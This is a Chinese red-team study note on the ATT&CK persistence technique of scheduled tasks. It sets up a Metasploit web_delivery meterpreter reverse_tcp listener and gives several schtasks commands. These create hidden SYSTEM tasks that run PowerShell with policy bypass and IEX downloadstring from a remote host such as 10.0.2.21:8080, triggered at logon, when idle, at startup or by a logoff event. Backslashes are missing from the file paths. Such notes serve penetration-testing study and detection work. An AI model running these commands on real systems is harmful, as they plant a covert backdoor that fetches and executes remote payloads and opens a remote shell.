title: 计划任务
tags:


ATT&CK矩阵-持久化-计划任务

[TOC]

一、简介

Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the remote system.
An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.
诸如at和schtasks之类的实用程序以及Windows Task Scheduler均可用于计划要在某个日期和时间执行的程序或脚本。只要满足正确的身份验证以使用RPC并打开文件和打印机共享,还可以在远程系统上安排任务。在远程系统上计划任务通常需要成为远程系统上Administrators组的成员。
攻击者可以使用任务计划在系统启动时或在计划的基础上执行程序以实现持久性,作为横向移动的一部分进行远程执行,获得SYSTEM特权,或在指定帐户的上下文中运行进程。

二、测试用例

1、Windows

Windows操作系统提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。这种行为可作为一种持久性机制被red team利用。通过计划任务执行持久性不需要管理员权限,但如果已获得提升的权限,则允许进一步操作,例如在用户登录期间或在空闲状态期间执行任务。
计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。这被认为是一种旧的持久性技术,但是它仍然可以在red team场景中使用,并且由各种开源工具支持。
计划任务 - 图1
图形化工具taskschd.msc
计划任务 - 图2
Metasploit 的web_delivery模块可用于托管和生成各种格式的有效载荷。

  1. use exploit/multi/script/web_delivery
  2. set payload windows/x64/meterpreter/reverse_tcp
  3. set LHOST 本机ip
  4. set target 5
  5. exploit

生成powershell载荷
计划任务 - 图3
在windows命令提示符下执行下面命令,schtasks可创建计划任务
schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''替换成msf生成的攻击载荷'''))'" /sc onlogon /ru System
上述命令在系统用户登录时执行脚本,就会执行攻击载荷,并反弹一个meterpretershell

  1. #(X64) - 用户空闲闲置30分钟
  2. schtasks /create /tn PentestLab /tr "c:windowssyswow64WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''替换成msf生成的攻击载荷'''))'" /sc onidle /i 30
  3. #(X86) - 任意用户登录
  4. schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://10.0.2.21:8080/ZPWLywg'''))'" /sc onlogon /ru System
  5. #(X86) - 系统启动
  6. schtasks /create /tn PentestLab /tr "c:windowssystem32WindowsPowerShellv1.0powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://替换成msf生成的攻击载荷'''))'" /sc onstart /ru System

schtasks命令参数可参考链接
同时可以创建一个计划任务,该任务在系统上发生关联的事件ID时进行执行攻击载荷
Examble:
schtasks /Create /TN OnLogOff /TR C:tmppentestlab.exe /SC ONEVENT /EC Security /MO "*[System[(Level=4 or Level=0) and (EventID=4634)]]"
上述就是注销账户产生事件ID4634触发Payload

  1. Linux

linux的计划任务主要是通过crontab实现,
Crontab命令参数可参考链接